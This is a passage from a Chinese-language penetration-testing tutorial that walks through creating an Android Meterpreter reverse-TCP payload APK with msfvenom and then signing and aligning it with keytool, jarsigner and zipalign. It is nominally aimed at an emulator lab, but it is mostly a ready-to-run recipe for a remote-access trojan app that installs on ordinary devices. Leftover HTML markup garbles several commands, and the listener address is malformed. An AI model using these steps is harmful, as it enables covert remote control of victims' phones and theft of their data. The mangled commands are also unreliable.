创建负载
我们需要两台虚拟机:Kali Linux和安卓模拟器。
打开vm启动Kali linux。接着打开终端,使用msfvenom制作android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令,使用msfvenom工具来创建有效载荷APK文件。
``
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R > /root/Desktop/pentest.apk
```
p 设置要使用的payload
LHOST 设置用来接收反弹连接的主机
LPORT 设置用来接收反弹连接的端口
R 设置文件格式
Location 要保存的文件位置
这个命令执行完之后,你会看到一些错误,但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式(APK)文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名:
l Keytool (已安装)
l jar signer (已安装)
l zipalign (需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-<spanclass="hljs-keyword">release</span>-<spanclass="hljs-keyword">key</span>.Keystore -<spanclass="hljs-keyword">alias</span> alias_name -keyalg RSA -keysize <spanclass="hljs-number">2048</span> -validity <spanclass="hljs-number">10000</span>
<a href="http://image.3001.net/images/20160515/14633220737110.png" target="_blank"><img src="http://image.3001.net/images/20160515/14633220737110.png!small" alt="图片3.png" width="500" data-original="http://image.3001.net/images/20160515/14633220737110.png!small" /></a>
然后使用JARsigner签名APK
<spanclass="hljs-selector-tag">jarsigner</span> <spanclass="hljs-selector-tag">-verbose</span> <spanclass="hljs-selector-tag">-sigalg</span> <spanclass="hljs-selector-tag">SHA1withRSA</span> <spanclass="hljs-selector-tag">-digestalg</span> <spanclass="hljs-selector-tag">SHA1</span> <spanclass="hljs-selector-tag">-keystore</span> <spanclass="hljs-selector-tag">my-release-key</span><spanclass="hljs-selector-class">.Keystore</span> <spanclass="hljs-selector-tag">APPNAME</span><spanclass="hljs-selector-class">.apk</span> <spanclass="hljs-selector-tag">aliasname</span>`
再用JARsigner验证签名
<spanclass="hljs-selector-tag">jarsigner</span> <spanclass="hljs-selector-tag">-verify</span> <spanclass="hljs-selector-tag">-verbose</span> <spanclass="hljs-selector-tag">-certs</span> <spanclass="hljs-selector-tag">APPNAME</span><spanclass="hljs-selector-class">.apk</span>
Kali没有预装Zipalign,需要先apt-get install zipalign。然后用zipalign来验证apk。
<spanclass="hljs-selector-tag">zipalign</span> <spanclass="hljs-selector-tag">-v</span> 4 <spanclass="hljs-selector-tag">APPNAME</span><spanclass="hljs-selector-class">.apk</span> <spanclass="hljs-selector-tag">NEWAPPNAME</span><spanclass="hljs-selector-class">.apk</span>
现在我们有了一个带有签名的APK,它可以安装在任何设备上。